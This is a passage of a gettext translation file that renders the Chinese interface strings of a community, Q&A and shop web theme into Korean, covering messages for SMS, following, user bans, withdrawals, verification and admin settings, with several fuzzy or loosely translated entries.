#: Modules/Common/Shortcode.php:1257 Modules/Common/Shortcode.php:1260
#: Modules/Common/Shortcode.php:1543 User/orders.php:93
msgid "无"
msgstr "없음"

#: Modules/Common/Shortcode.php:1230 Modules/Common/Shortcode.php:1260
msgid "解压码："
msgstr "압축풀기："

#: Modules/Common/Shortcode.php:1363
msgid "浏览："
msgstr "조회 순"

#: Modules/Common/Shortcode.php:1534 User/myinv.php:5
msgid "编号"
msgstr "번호"

#: Modules/Common/Shortcode.php:1534 Modules/Settings/InvitationTable.php:95
#: Modules/Settings/Shop.php:902 User/myinv.php:5 author.php:99
#: functions.php:2050
msgid "邀请码"
msgstr "초대장"

#: Modules/Common/Shortcode.php:1534 Modules/Settings/Card.php:196
#: User/myinv.php:5
msgid "使用状态"
msgstr "사용상태"

#: Modules/Common/Shortcode.php:1534 Modules/Settings/Card.php:125
#: Modules/Settings/CardListTable.php:93
#: Modules/Settings/InvitationTable.php:98 User/myinv.php:5
msgid "使用者"
msgstr "사용자"

#: Modules/Common/Sms.php:329
msgid "。错误代码："
msgstr "오류 코드 :  %s. 오류 메시지 :  %s"

#: Modules/Common/Sms.php:340
msgid "账户短信开通状态不正确"
msgstr "계정 SMS 활성화 상태가 올바르지 않습니다."

#: Modules/Common/Sms.php:341
msgid "短信签名不正确或签名状态不正确"
msgstr "SMS 서명이 올바르지 않거나 서명 상태가 올바르지 않습니다."

#: Modules/Common/Sms.php:342
msgid "短信模板Code不正确或者模板状态不正确"
msgstr "SMS 템플릿 코드가 올바르지 않거나 템플릿 상태가 올바르지 않습니다."

#: Modules/Common/Sms.php:343
msgid "目标手机号不正确，单次发送数量不能超过100"
msgstr ""
"대상 휴대폰 번호가 올바르지 않습니다. 단일 전송 수량은 100을 초과 할 수 없습"
"니다."

#: Modules/Common/Sms.php:344
msgid "短信模板中变量不是json格式"
msgstr "SMS 템플릿의 변수가 json 형식이 아닙니다."

#: Modules/Common/Sms.php:345
msgid "短信模板中变量与模板内容不匹配"
msgstr "SMS 템플릿의 변수가 템플릿 콘텐츠와 일치하지 않습니다."

#: Modules/Common/Sms.php:346
msgid "触发业务流控"
msgstr "비즈니스 흐름 제어 트리거"

#: Modules/Common/Sms.php:347
msgid "变量不能是url，可以将变量固化在模板中"
msgstr "변수는 URL이 될 수 없으며 템플릿에서 강화 될 수 있습니다."

#: Modules/Common/Stream.php:45
msgid "错误的文章类型"
msgstr "기사 유형"

#: Modules/Common/Task.php:81 Modules/Common/User.php:2483
#: Modules/Settings/Normal.php:2730
msgid "签到"
msgstr "출석"

#: Modules/Common/UpdateData.php:14 Modules/Common/UpdateData.php:74
#: Modules/Common/UpdateData.php:129 Modules/Common/UpdateData.php:187
#: Modules/Common/UpdateData.php:241 Modules/Common/UpdateData.php:284
msgid "只能管理员操作"
msgstr "관리자 만 운영 가능"

#: Modules/Common/UrlDetails.php:204
msgid "URL not found. Response returned a non-200 status code for this URL."
msgstr ""
"URL을 찾을 수 없습니다. 응답이 이 URL에 대해 200이 아닌 상태 코드를 반환했습"
"니다."

#: Modules/Common/UrlDetails.php:214
msgid "Unable to retrieve body from response at this URL."
msgstr "이 URL의 응답에서 본문을 검색할 수 없습니다."

#: Modules/Common/User.php:251 Modules/Common/User.php:287
msgid "无法获取用户信息"
msgstr "사용자 정보를 가져올 수 없습니다."

#: Modules/Common/User.php:465 Modules/Common/User.php:477
msgid "未设置"
msgstr "설정되지 않음"

#: Modules/Common/User.php:630 Modules/Common/User.php:955
#: Modules/Common/User.php:959 Modules/Settings/Template.php:427
#: Modules/Settings/Users.php:526 Modules/Templates/Header.php:723
#: Pages/dark-room.php:13 functions.php:1931
msgid "小黑屋"
msgstr "감옥"

#: Modules/Common/User.php:751
#, fuzzy, php-format
msgid "，原因：%s"
msgstr ", 이유: %s"

#: Modules/Common/User.php:753
#, fuzzy, php-format
msgid "您被关进了小黑屋%s天"
msgstr "작은 검은 집에 갇힌 일수"

#: Modules/Common/User.php:756
#, fuzzy
msgid "您被永久关进了小黑屋"
msgstr "작은 검은 집에 갇혀"

#: Modules/Common/User.php:770
#, fuzzy
msgid "被关进小黑屋"
msgstr "작은 검은 집에 갇혀"

#: Modules/Common/User.php:1008
msgid "请求数量过多"
msgstr "요청 수량이 너무 많습니다."

#: Modules/Common/User.php:1010
msgid "请求格式错误"
msgstr "요청 형식 오류"

#: Modules/Common/User.php:1062
msgid "不能关注自己"
msgstr "자신을 구독 할수없습니다."

#: Modules/Common/User.php:1086
#, fuzzy
msgid "您关注了${count}人"
msgstr "${count}명을 팔로우합니다."

#: Modules/Common/User.php:1088 Modules/Common/User.php:1105 functions.php:2391
msgid "关注某人"
msgstr "구독하기"

#: Modules/Common/User.php:1103
#, fuzzy
msgid "您取消关注了${count}人"
msgstr "${count}명을 팔로우 해제했습니다."

#: Modules/Common/User.php:1143
#, fuzzy
msgid "有${count}人关注了您"
msgstr "${count}명이 나를 팔로우하고 있습니다."

#: Modules/Common/User.php:1145 Modules/Common/User.php:1157
msgid "被关注"
msgstr "구독자 늘리기"

#: Modules/Common/User.php:1155
#, fuzzy
msgid "${from}关注了您"
msgstr "${from}이(가) 나를 팔로우했습니다."

#: Modules/Common/User.php:1187
#, fuzzy
msgid "有${count}人取消关注了您"
msgstr "${count}명이 나를 팔로우 해제했습니다."

#: Modules/Common/User.php:1189 Modules/Common/User.php:1201
msgid "被取消关注"
msgstr "구독 취소했습니다."

#: Modules/Common/User.php:1199
#, fuzzy
#| msgid "%s取消了对你的关注"
msgid "${from}取消了对您的关注"
msgstr "%s님이 구독을 취소했습니다."

#: Modules/Common/User.php:1316
msgid "该文章无法收藏"
msgstr "이 문서는 북마크할 수 없습니다."

#: Modules/Common/User.php:1321
msgid "请登录"
msgstr "로그인 하십시오."

#: Modules/Common/User.php:1490
msgid "收货地址不存在"
msgstr "배송지가 없습니다."

#: Modules/Common/User.php:1688
msgid "您未绑定此账户，无需解绑"
msgstr "이 계정에 연결되어 있지 않아 해제할 필요가 없습니다."

#: Modules/Common/User.php:1700
msgid "系统原因，暂时无法解绑"
msgstr "시스템 문제, 일시적으로 바인딩 해제 불가"

#: Modules/Common/User.php:1798
msgid "网址不可为空"
msgstr "URL은 필수항목 입니다."

#: Modules/Common/User.php:1839
msgid "描述不可为空"
msgstr "설명은 필수항목 입니다."

#: Modules/Common/User.php:1876
msgid "请填写完整的地址信息"
msgstr "완전한 주소 정보를 입력해 주세요."

#: Modules/Common/User.php:1879
msgid "您填写的不是手机号码"
msgstr "입력하신 내용은 휴대폰 번호가 아닙니다."

#: Modules/Common/User.php:1928 Modules/Common/User.php:1967
msgid "不存在此地址"
msgstr "이 주소는 존재하지 않습니다"

#: Modules/Common/User.php:2061
msgid "请重复输入两次相同的密码！"
msgstr "동일한 비밀번호를 두 번 입력하십시오!"

#: Modules/Common/User.php:2092
msgid "用户名不可为空"
msgstr "사용자 이름은 필수항목 입니다."

#: Modules/Common/User.php:2114
msgid "未找到相关用户"
msgstr "해당 사용자를 찾지 못했습니다."

#: Modules/Common/User.php:2171 Modules/Settings/Normal.php:2553
msgid "禁止提现"
msgstr "현금 인출 금지"

#: Modules/Common/User.php:2181
msgid "提现金额太少"
msgstr "현금 인출 금액이 너무 적습니다."

#: Modules/Common/User.php:2200
msgid "您有未完成的提现请求，请完成之后再次发起"
msgstr "완료되지 않은 현금 인출 요청이 있습니다. 완료 후 다시 시작하십시오."

#: Modules/Common/User.php:2249
#, php-format
msgid "您申请了提现，其中手续费%s，实际到账应为%s。一个工作日内到账。"
msgstr ""
"출금을 요청하셨으며, 이 중 수수료는 %s이고 실제 도착 금액은 %s이어야 합니다. "
"출금 대금은 영업일 기준 1일 이내에 지급됩니다."

#: Modules/Common/User.php:2251 Modules/Common/User.php:2263
#, fuzzy
#| msgid "申请提现 › 手续费%s"
msgid "申请提现"
msgstr "현금 인출 신청 › 수수료 %s"

#: Modules/Common/User.php:2261
#, fuzzy
msgid "${from}申请了提现"
msgstr "${user_id}이(가) 인출을 요청했습니다."

#: Modules/Common/User.php:2271
msgid "提现申请失败"
msgstr "현금 인출 신청 실패"

#: Modules/Common/User.php:2411
#, fuzzy, php-format
msgid "您连续签到了%s天，每%s天奖励%s积分，此次一共奖励%s积分：${gold_page}"
msgstr ""
"%s일 연속 로그인했으며 %s일마다 %s포인트가 지급됩니다. 이번에는 총 %s포인트: "
"${gold_page}가 지급됩니다."

#: Modules/Common/User.php:2413 Modules/Common/User.php:2424
#, fuzzy
#| msgid "连续签到"
msgid "连续签到奖励"
msgstr "연속출석"

#: Modules/Common/User.php:2422
#, fuzzy, php-format
msgid "您连续签到了%s天，每%s天奖励%s积分，此次一共奖励%s积分"
msgstr ""
"연속으로 %s일 동안 체크인했으며 %s일마다 %s포인트가 지급됩니다. 이번에는 총 "
"%s포인트가 지급됩니다."

#: Modules/Common/User.php:2481 functions.php:2221
msgid "签到成功"
msgstr "성공적으로 로그인"

#: Modules/Common/User.php:2523
msgid "数据格式错误"
msgstr "데이터 형식 오류"

#: Modules/Common/User.php:2528
msgid "请求数据数量过多"
msgstr "요청된 데이터 수가 너무 많습니다."

#: Modules/Common/User.php:2812
msgid "文件类型错误"
msgstr "파일 유형 오류"

#: Modules/Common/User.php:2981
msgid "所有用户"
msgstr "모든 사용자"

#: Modules/Common/User.php:2982
#, fuzzy
#| msgid "普通用户组"
msgid "所有普通用户"
msgstr "일반 사용자 그룹"

#: Modules/Common/User.php:2983
#, fuzzy
#| msgid "购买付费会员"
msgid "所有付费会员"
msgstr "유료 회원 구매"

#: Modules/Common/User.php:2995 Modules/Templates/Single.php:531
#: Modules/Templates/Widgets/Download.php:178
msgid "免费下载"
msgstr "무료 다운로드"

#: Modules/Common/User.php:2996
msgid "付费下载"
msgstr "유료 다운로드"

#: Modules/Common/User.php:2997
msgid "积分下载"
msgstr "포인트 다운로드"

#: Modules/Common/User.php:2998
msgid "评论下载"
msgstr "댓글 다운로드"

#: Modules/Common/User.php:2999
msgid "登录下载"
msgstr "로그인하여 다운로드"

#: Modules/Common/User.php:3071 Modules/Settings/Orders.php:125
#: Modules/Settings/Orders.php:176 Search/user.php:40 author.php:52
msgid "这个人很懒，什么都没有留下！"
msgstr "간단한 자기소개를 입력해주세요."

#: Modules/Common/User.php:3158
msgid "下次来访时"
msgstr "다음에 방문하시면"

#: Modules/Common/User.php:3218
msgid "不能屏蔽自己"
msgstr "자신을 막을 수 없다"

#: Modules/Common/User.php:3221
msgid "游客，无法屏蔽"
msgstr "관광객, 막을 수 없다"

#: Modules/Common/User.php:3228
msgid "您已经屏蔽了此用户"
msgstr "이 사용자를 차단했습니다."

#: Modules/Common/User.php:3243
msgid "登录后操作"
msgstr "로그인 후 조치"

#: Modules/Common/Verify.php:14 Modules/Common/Verify.php:43
#: Modules/Common/Verify.php:122 Modules/Common/Verify.php:215
msgid "认证已关闭"
msgstr "인증이 비활성화 되었습니다."

#: Modules/Common/Verify.php:230
msgid "身份证号码错误"
msgstr "잘못된 ID 번호"

#: Modules/Common/Verify.php:234
msgid "姓名超出长度"
msgstr "이름 길이가 초과했습니다."

#: Modules/Common/Verify.php:238
msgid "请上传证件照"
msgstr "신분증 사진을 업로드하세요."

#: Modules/Common/Verify.php:246
msgid "请填写称号"
msgstr "칭호를 기입해 주세요."

#: Modules/Common/Verify.php:252
msgid "请先关注公众号"
msgstr "먼저 공식 계정을 따르십시오"

#: Modules/Common/Verify.php:258
msgid "请先支付费用"
msgstr "먼저 요금을 지불해주세요."

#: Modules/Common/Verify.php:263
msgid "已拉黑，无法继续认证"
msgstr "차단되어 인증을 계속할 수 없습니다."

#: Modules/Common/Verify.php:267
msgid "称号超出长度"
msgstr "최대 제목 길이를 초과했습니다."

#: Modules/Common/Verify.php:304 Modules/Settings/Main.php:1161
#, fuzzy
msgid "认证任务完成奖励"
msgstr "인증 미션 완료 보상"

#: Modules/Common/Verify.php:306 Modules/Settings/Main.php:1163
#: Pages/verify.php:32
msgid "认证完成"
msgstr "인증 완료"

#: Modules/Common/Verify.php:327 Modules/Settings/Main.php:1150
#, fuzzy
msgid "您已经完成了认证任务"
msgstr "인증 작업을 완료했습니다."

#: Modules/Common/Verify.php:329 Modules/Settings/Main.php:1152
#, fuzzy
#| msgid "您已认证成功"
msgid "认证成功"
msgstr "인증이 성공했습니다."

#: Modules/Common/Verify.php:350
msgid "数据存储失败"
msgstr "데이터 저장 실패"

#: Modules/Common/Wecatmp.php:119
#, php-format
msgid "感谢您关注「%s」，%s"
msgstr "\" %s\",  %s을 (를) 팔로우 해 주셔서 감사합니다."

#: Modules/Common/Wecatmp.php:187
#, php-format
msgid "欢迎登录「%s」，%s"
msgstr "로그인 \" %s\",  %s에 오신 것을 환영합니다."

#: Modules/Common/Wecatmp.php:297
msgid "回复n：获取最新一篇文章；回复r：获取一篇随机文章；"
msgstr "답장 n : 최신 기사 받기; 답장 r : 무작위 기사 받기;"

#: Modules/Common/Wecatmp.php:467
msgid "当前账户已存在，请不要重复绑定"
msgstr "현재 계정이 이미 존재합니다.연결을 반복하지 마십시오."

#: Modules/Common/Wecatmp.php:525
#, php-format
msgid "错误代码%s,错误信息：%s"
msgstr "오류 코드 :  %s. 오류 메시지 :  %s"

#: Modules/Common/Wecatmp.php:536
msgid "请先关注我们的公众号"
msgstr "먼저 우리의 공개 계정에 주목하십시오"

#: Modules/Common/Wecatmp.php:659
msgid "请先绑定微信登陆"
msgstr "WeChat에 바인딩"

#: Modules/Settings/Ask.php:36
#, fuzzy
#| msgid "提问"
msgid "提问者"
msgstr "질문"

#: Modules/Settings/Ask.php:37 Modules/Settings/Card.php:125
#: Modules/Settings/CardListTable.php:92 Modules/Settings/Infomation.php:311
#: Modules/Settings/Links.php:36 User/orders.php:70
msgid "状态"
msgstr "상태"

#: Modules/Settings/Ask.php:63 Modules/Settings/Links.php:63
msgid "已发布"
msgstr "글 등록"

#: Modules/Settings/Ask.php:63 Modules/Settings/Links.php:63
#: TempParts/Ask/answer-archive.php:77 TempParts/circle/circle-form.php:83
#: TempParts/circle/circle-topic-footer.php:14
#: TempParts/infomation/archive.php:90 TempParts/single-answer.php:56
#: single-ask.php:130 single-ask.php:238
msgid "待审"
msgstr "보류 중"

#: Modules/Settings/Ask.php:63 Modules/Settings/Links.php:63
msgid "未发布"
msgstr "글 등록"

#: Modules/Settings/Ask.php:76 Modules/Settings/Ask.php:77
#: Modules/Settings/Ask.php:171 Modules/Templates/Widgets/Ask.php:37
#, fuzzy
msgid "问答"
msgstr "질문 및 답변 배당금"

#: Modules/Settings/Ask.php:140 Modules/Settings/Document.php:148
#: Modules/Settings/Infomation.php:335 Modules/Settings/Links.php:139
#: Modules/Settings/Newsflashes.php:68 Modules/Settings/Shop.php:94
#, php-format
msgid "%s首页"
msgstr "%s홈"

#: Modules/Settings/Ask.php:141 Modules/Settings/Circle.php:155
#: Modules/Settings/Document.php:149 Modules/Settings/Infomation.php:336
#: Modules/Settings/Links.php:140 Modules/Settings/Newsflashes.php:69
#: Modules/Settings/Post.php:540 Modules/Settings/Shop.php:95
#: Modules/Settings/Taxonomies.php:475 Modules/Settings/Taxonomies.php:593
#: Modules/Settings/Taxonomies.php:642
#, php-format
msgid "%s设置"
msgstr "%s 설정"

#: Modules/Settings/Ask.php:142 Modules/Settings/Ask.php:229
#: Modules/Settings/Circle.php:156 Modules/Settings/Distribution.php:51
#: Modules/Settings/Document.php:150 Modules/Settings/Infomation.php:337
#: Modules/Settings/Infomation.php:402 Modules/Settings/Infomation.php:496
#: Modules/Settings/Links.php:141 Modules/Settings/Links.php:275
#: Modules/Settings/Links.php:311 Modules/Settings/Newsflashes.php:70
#: Modules/Settings/Report.php:64 Modules/Settings/Shop.php:96
msgid "保存设置"
msgstr "설정 저장"

#: Modules/Settings/Ask.php:158 Modules/Settings/Circle.php:160
#: Modules/Settings/Infomation.php:341 Modules/Settings/Links.php:157
#: Modules/Settings/Shop.php:100
#, fuzzy, php-format
msgid "是否启用%s"
msgstr "서클 활성화 여부"

#: Modules/Settings/Ask.php:162 Modules/Settings/Infomation.php:345
#: Modules/Settings/Links.php:161 Modules/Settings/Template.php:1652
#: Modules/Settings/Verify.php:69
msgid "启用"
msgstr "활성화"

#: Modules/Settings/Ask.php:163 Modules/Settings/Circle.php:165
#: Modules/Settings/Circle.php:177 Modules/Settings/Circle.php:385
#: Modules/Settings/Circle.php:397 Modules/Settings/Circle.php:409
#: Modules/Settings/Distribution.php:62 Modules/Settings/Document.php:159
#: Modules/Settings/Filter.php:44 Modules/Settings/Infomation.php:346
#: Modules/Settings/Invitation.php:186 Modules/Settings/Links.php:162
#: Modules/Settings/Newsflashes.php:79 Modules/Settings/Newsflashes.php:164
#: Modules/Settings/Normal.php:279 Modules/Settings/Normal.php:292
#: Modules/Settings/Normal.php:731 Modules/Settings/Normal.php:860
#: Modules/Settings/Normal.php:872 Modules/Settings/Normal.php:892
#: Modules/Settings/Normal.php:1285 Modules/Settings/Normal.php:1299
#: Modules/Settings/Normal.php:1338 Modules/Settings/Normal.php:1371
#: Modules/Settings/Normal.php:1395 Modules/Settings/Normal.php:1409
#: Modules/Settings/Normal.php:1440 Modules/Settings/Normal.php:1471
#: Modules/Settings/Normal.php:2042 Modules/Settings/Normal.php:2113
#: Modules/Settings/Normal.php:2126 Modules/Settings/Normal.php:2146
#: Modules/Settings/Normal.php:2227 Modules/Settings/Normal.php:2842
#: Modules/Settings/Normal.php:2918 Modules/Settings/Normal.php:2958
#: Modules/Settings/Normal.php:2969 Modules/Settings/Normal.php:2980
#: Modules/Settings/Normal.php:2991 Modules/Settings/Normal.php:3002
#: Modules/Settings/Normal.php:3013 Modules/Settings/Normal.php:3024
#: Modules/Settings/Normal.php:3035 Modules/Settings/Normal.php:3046
#: Modules/Settings/Normal.php:3057 Modules/Settings/Normal.php:3068
#: Modules/Settings/Normal.php:3079 Modules/Settings/Normal.php:3090
#: Modules/Settings/Normal.php:3101 Modules/Settings/Normal.php:3112
#: Modules/Settings/Normal.php:3123 Modules/Settings/Normal.php:3134
#: Modules/Settings/Post.php:313 Modules/Settings/Post.php:634
#: Modules/Settings/Shop.php:105 Modules/Settings/Shop.php:116
#: Modules/Settings/Shop.php:182 Modules/Settings/Taxonomies.php:59
#: Modules/Settings/Template.php:200 Modules/Settings/Template.php:291
#: Modules/Settings/Template.php:410 Modules/Settings/Template.php:519
#: Modules/Settings/Template.php:532 Modules/Settings/Template.php:1431
#: Modules/Settings/Template.php:1443 Modules/Settings/Template.php:1455
#: Modules/Settings/Template.php:1521 Modules/Settings/Template.php:1583
#: Modules/Settings/Template.php:1653 Modules/Settings/Template.php:1708
#: Modules/Settings/Template.php:1796 Modules/Settings/Template.php:2167
#: Modules/Settings/Verify.php:68 Modules/Templates/VueTemplates.php:912
msgid "关闭"
msgstr "닫기"

#: Modules/Settings/Ask.php:168 Modules/Settings/Infomation.php:351
#: Modules/Settings/Links.php:167
#, fuzzy, php-format
msgid "%s首页标题"
msgstr "뉴스 레터 홈페이지 SEO 제목"

#: Modules/Settings/Ask.php:172 Modules/Settings/Infomation.php:355
#: Modules/Settings/Links.php:171
#, fuzzy, php-format
msgid "显示在%s首页的顶部"
msgstr "문서 홈페이지 상단 이미지"

#: Modules/Settings/Ask.php:176 Modules/Settings/Document.php:165
#: Modules/Settings/Infomation.php:359 Modules/Settings/Links.php:175
#, fuzzy, php-format
msgid "%s首页SEO名称"
msgstr "홈페이지 SEO 키워드"

#: Modules/Settings/Ask.php:183 Modules/Settings/Circle.php:219
#: Modules/Settings/Document.php:172 Modules/Settings/Infomation.php:366
#: Modules/Settings/Links.php:182 Modules/Settings/Newsflashes.php:110
#, fuzzy, php-format
msgid "%s首页SEO描述"
msgstr "홈페이지 SEO 설명"

#: Modules/Settings/Ask.php:190 Modules/Settings/Document.php:179
#: Modules/Settings/Infomation.php:373 Modules/Settings/Links.php:189
#: Modules/Settings/Newsflashes.php:117
#, fuzzy, php-format
msgid "%s首页SEO标签"
msgstr "문서 홈페이지 SEO 태그"

#: Modules/Settings/Ask.php:205
#, fuzzy, php-format
msgid "%s列表中每页显示的数量"
msgstr "페이지 당 표시되는 최신 경고 수"

#: Modules/Settings/Ask.php:228
msgid "发帖设置"
msgstr "게시 설정"

#: Modules/Settings/Ask.php:233 Modules/Settings/Ask.php:240
#: Modules/Settings/Links.php:290
#, php-format
msgid "允许入驻的%s分类"
msgstr "허용된 카테고리 %s개"

#: Modules/Settings/Ask.php:244
#, fuzzy, php-format
#| msgid "请确保%s中有链接，否则此处不显示"
msgid "请确保%s中有帖子，否则此处不显示"
msgstr ""
"%s에 링크가 있는지 확인하십시오. 그렇지 않으면 여기에 표시되지 않습니다."

#: Modules/Settings/Ask.php:248
msgid "允许提交的待审核的帖子数量"
msgstr "검토를 위해 제출할 수 있는 게시물의 수"

#: Modules/Settings/Ask.php:266
#, fuzzy
#| msgid "哪些等级投稿时直接发布，不用审核"
msgid "哪些等级发帖时直接发布，不用审核"
msgstr "검토없이 제출시 직접 게시되는 성적"

#: Modules/Settings/Ask.php:270
#, fuzzy
#| msgid "选择之后，这些等级的用户发布文章之后不用审核"
msgid "选择之后，这些等级的用户发布帖子之后不用审核"
msgstr ""
"선택 후이 레벨의 사용자는 게시 후 기사를 검토 할 필요가 없으며 제한없이 기사"
"를 수정할 수 있습니다."

#: Modules/Settings/Ask.php:274
msgid "允许提交的待审核的回答数量"
msgstr "검토를 위해 제출할 수 있는 응답 수"

#: Modules/Settings/Ask.php:281
#, fuzzy
#| msgid "哪些等级投稿时直接发布，不用审核"
msgid "哪些等级发布回答时直接发布，不用审核"
msgstr "검토없이 제출시 직접 게시되는 성적"

#: Modules/Settings/Ask.php:285
#, fuzzy
#| msgid "选择之后，这些等级的用户发布文章之后不用审核"
msgid "选择之后，这些等级的用户发布回答之后不用审核"
msgstr ""
"선택 후이 레벨의 사용자는 게시 후 기사를 검토 할 필요가 없으며 제한없이 기사"
"를 수정할 수 있습니다."

#: Modules/Settings/Card.php:24
msgid "卡密生成"
msgstr "카드 비밀 생성"

#: Modules/Settings/Card.php:25 Modules/Settings/Card.php:267
msgid "卡密管理"
msgstr "카드 비밀 관리"

#: Modules/Settings/Card.php:26 Modules/Settings/Invitation.php:256
#: Pages/distribution.php:34 TempParts/circle/circle-form.php:510
msgid "生成"
msgstr "생성하기"

#: Modules/Settings/Card.php:31
msgid "生成卡密的数量"
msgstr "생성 된 카드 수"

#: Modules/Settings/Card.php:33 Modules/Settings/Invitation.php:265
msgid "不要一次生成太多，以免造成服务器阻塞，建议少于500个"
msgstr ""
"한 번에 너무 많이 생성하지 마십시오. 서버를 차단하지 않도록 500 미만을 권장합"
"니다."

#: Modules/Settings/Card.php:43
msgid "生成卡密的面值"
msgstr "카드 비밀 단위 생성"

#: Modules/Settings/Card.php:60 Modules/Settings/Card.php:61
msgid "卡密导出"
msgstr "카드 비밀 내보내기"

#: Modules/Settings/Card.php:62 Modules/Settings/Card.php:208
msgid "导出"
msgstr "수출"

#: Modules/Settings/Card.php:67 Modules/Settings/Card.php:178
#: Modules/Settings/Editor.php:46
msgid "开始ID"
msgstr "시작 ID"

#: Modules/Settings/Card.php:69 Modules/Settings/Card.php:182
msgid "从哪个ID开始导出"
msgstr "내보낼 ID"

#: Modules/Settings/Card.php:78 Modules/Settings/Card.php:187
#: Modules/Settings/Editor.php:47
msgid "结束ID"
msgstr "끝 ID"

#: Modules/Settings/Card.php:80 Modules/Settings/Card.php:191
msgid "从哪个ID结束导出"
msgstr "내보내기를 종료 할 ID"

#: Modules/Settings/Card.php:125 Modules/Settings/CardListTable.php:89
#: Modules/Templates/VueTemplates.php:528
msgid "卡号"
msgstr "카드번호"

#: Modules/Settings/Card.php:125 Modules/Settings/CardListTable.php:90
#: Modules/Templates/VueTemplates.php:217
#: Modules/Templates/VueTemplates.php:529
#: Modules/Templates/VueTemplates.php:934
msgid "密码"
msgstr "비밀번호"

#: Modules/Settings/Card.php:125 Modules/Settings/CardListTable.php:91
#: Modules/Settings/CouponListTable.php:128
msgid "面值"
msgstr "액면가"

#: Modules/Settings/Card.php:138 Modules/Settings/CardListTable.php:29
#: Modules/Settings/InvitationTable.php:35 User/myinv.php:12
msgid "已使用"
msgstr "사용됨"

#: Modules/Settings/Card.php:138 Modules/Settings/Card.php:321
#: Modules/Settings/CardListTable.php:29 Modules/Settings/Invitation.php:418
#: Modules/Settings/InvitationTable.php:35 User/myinv.php:12 User/myinv.php:14
msgid "未使用"
msgstr "미사용"

#: Modules/Settings/Card.php:152
msgid "没有找到这个范围内的卡密"
msgstr "이 범위에서 카드 비밀을 찾을 수 없습니다."

#: Modules/Settings/Card.php:217
#, php-format
msgid "卡密生成成功， 请前往%s查看。"
msgstr "카드 암호가 성공적으로 생성되었습니다.  %s로 이동하여 확인하십시오."

#: Modules/Settings/Card.php:320 Modules/Settings/CashOut.php:231
#: Modules/Settings/Document.php:453 Modules/Settings/Invitation.php:412
#: Modules/Settings/Orders.php:1128 Modules/Settings/Orders.php:1136
#: Modules/Settings/Report.php:259 Modules/Settings/Verify.php:301
msgid "所有"
msgstr "모두"

#: Modules/Settings/Card.php:322 Modules/Settings/Invitation.php:424
#: Modules/Settings/Normal.php:1121 Modules/Settings/Normal.php:1927
#: Modules/Settings/Normal.php:1940 Pages/carts.php:107
msgid "使用"
msgstr "사용"

#: Modules/Settings/Card.php:327
msgid "搜索卡密"
msgstr "카드 비밀 검색"

#: Modules/Settings/CardListTable.php:68 Modules/Settings/CardListTable.php:130
#: Modules/Settings/CashOutListTable.php:85
#: Modules/Settings/CashOutListTable.php:144
#: Modules/Settings/CouponListTable.php:107
#: Modules/Settings/CouponListTable.php:171 Modules/Settings/CustomPay.php:172
#: Modules/Settings/InvitationTable.php:74
#: Modules/Settings/InvitationTable.php:136
#: Modules/Settings/OrdersListTable.php:285
#: Modules/Settings/OrdersListTable.php:369
#: Modules/Settings/ReportTable.php:106 Modules/Settings/ReportTable.php:168
#: Modules/Settings/RequestsTable.php:94 Modules/Settings/RequestsTable.php:152
#: Modules/Settings/VerifyListTable.php:110
#: Modules/Settings/VerifyListTable.php:183
#: Modules/Settings/distributionOrderListTable.php:122
#: Modules/Settings/distributionOrderListTable.php:181
#: Modules/Settings/distributionUserListTable.php:83
#: Modules/Settings/distributionUserListTable.php:139
#: Modules/Templates/Footer.php:605 Modules/Templates/Footer.php:637
#: Modules/Templates/Modules/Posts.php:129
#: Modules/Templates/VueTemplates.php:599 Pages/carts.php:57
#: Pages/directmessage.php:33 Pages/write.php:508
#: TempParts/Ask/answer-archive.php:80 TempParts/Ask/archive.php:111
#: TempParts/Ask/comments.php:36 TempParts/Ask/comments.php:83
#: TempParts/circle/circle-comments.php:40
#: TempParts/circle/circle-comments.php:87
#: TempParts/circle/circle-topic-content.php:434
#: TempParts/circle/circle-topic-footer.php:36
#: TempParts/infomation/archive.php:138 User/settings.php:69
#: User/settings.php:82 comments.php:134 single-ask.php:233
msgid "删除"
msgstr "삭제"

#: Modules/Settings/CardListTable.php:88
#: Modules/Settings/InvitationTable.php:94
#: Modules/Settings/OrdersListTable.php:305
#: Modules/Settings/VerifyListTable.php:131
#: Modules/Settings/distributionOrderListTable.php:141
msgid "ID"
msgstr "신분증"

#: Modules/Settings/CashOut.php:19 Modules/Settings/CashOut.php:20
msgid "提现列表"
msgstr "출금 목록"

#: Modules/Settings/CashOut.php:92 Modules/Settings/Document.php:357
#: Modules/Settings/Orders.php:889 Modules/Settings/Report.php:177
msgid "更新成功"
msgstr "업데이트 완료"

#: Modules/Settings/CashOut.php:104
msgid "没有找到此申请"
msgstr "이 응용 프로그램을 찾을 수 없습니다"

#: Modules/Settings/CashOut.php:117
#, php-format
msgid "您的提现已操作完成，请注意查收。申请金额 %s；服务费：%s；实付金额：%s"
msgstr ""
"출금이 완료되었으니 영수증을 확인하시기 바랍니다. 요청 금액 %s; 서비스 수수"
"료: %s; 결제 금액: %s"

#: Modules/Settings/CashOut.php:119
msgid "提现完成"
msgstr "출금 완료"

#: Modules/Settings/CashOut.php:135
msgid "申请人："
msgstr "응모자:"

#: Modules/Settings/CashOut.php:148
msgid "申请时间"
msgstr "신청 시간"

#: Modules/Settings/CashOut.php:154 Modules/Settings/CashOutListTable.php:109
msgid "提现状态"
msgstr "출금 상태"

#: Modules/Settings/CashOut.php:160
msgid "已提现"
msgstr "빼는"

#: Modules/Settings/CashOut.php:161
msgid "未提现"
msgstr "철회되지 않음"

#: Modules/Settings/CashOut.php:166 Modules/Settings/CashOutListTable.php:110
msgid "申请金额"
msgstr "신청 금액"

#: Modules/Settings/CashOut.php:172 Modules/Settings/CashOutListTable.php:111
msgid "实付金额"
msgstr "실제로 지불 한 금액"

#: Modules/Settings/CashOut.php:178
msgid "服务费"
msgstr "서비스 요금"

#: Modules/Settings/CashOut.php:184
msgid "支付二维码"
msgstr "결제 QR 코드"

#: Modules/Settings/CashOut.php:232 Modules/Settings/CashOutListTable.php:36
#: Pages/verify.php:134
msgid "已支付"
msgstr "이미 결제 했습니다."

#: Modules/Settings/CashOut.php:233 Modules/Settings/CashOutListTable.php:36
msgid "未支付"
msgstr "미지급"

#: Modules/Settings/CashOut.php:240
msgid "搜索提现用户"
msgstr "출금 사용자 검색"

#: Modules/Settings/CashOutListTable.php:86 Pages/carts.php:28
#: Pages/carts.php:33
msgid "操作"
msgstr "작업"

#: Modules/Settings/CashOutListTable.php:106
msgid "提现ID"
msgstr "출금 ID"

#: Modules/Settings/CashOutListTable.php:107
msgid "提现人"
msgstr "인출기"

#: Modules/Settings/CashOutListTable.php:108 Modules/Settings/Filter.php:113
#: Modules/Settings/ReportTable.php:129 Modules/Settings/RequestsTable.php:117
